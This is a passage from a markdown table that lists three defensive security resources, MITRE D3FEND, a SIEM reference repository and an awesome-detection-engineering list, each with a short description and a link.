| MITRE D3FEND | Defensive countermeasure knowledge graph | https://d3fend.mitre.org |
| TonyPhipps/SIEM | SIEM resources and detection references | https://github.com/TonyPhipps/SIEM |
| awesome-detection-engineering | Curated detection engineering resources | https://github.com/infosecB/awesome-detection-engineering |
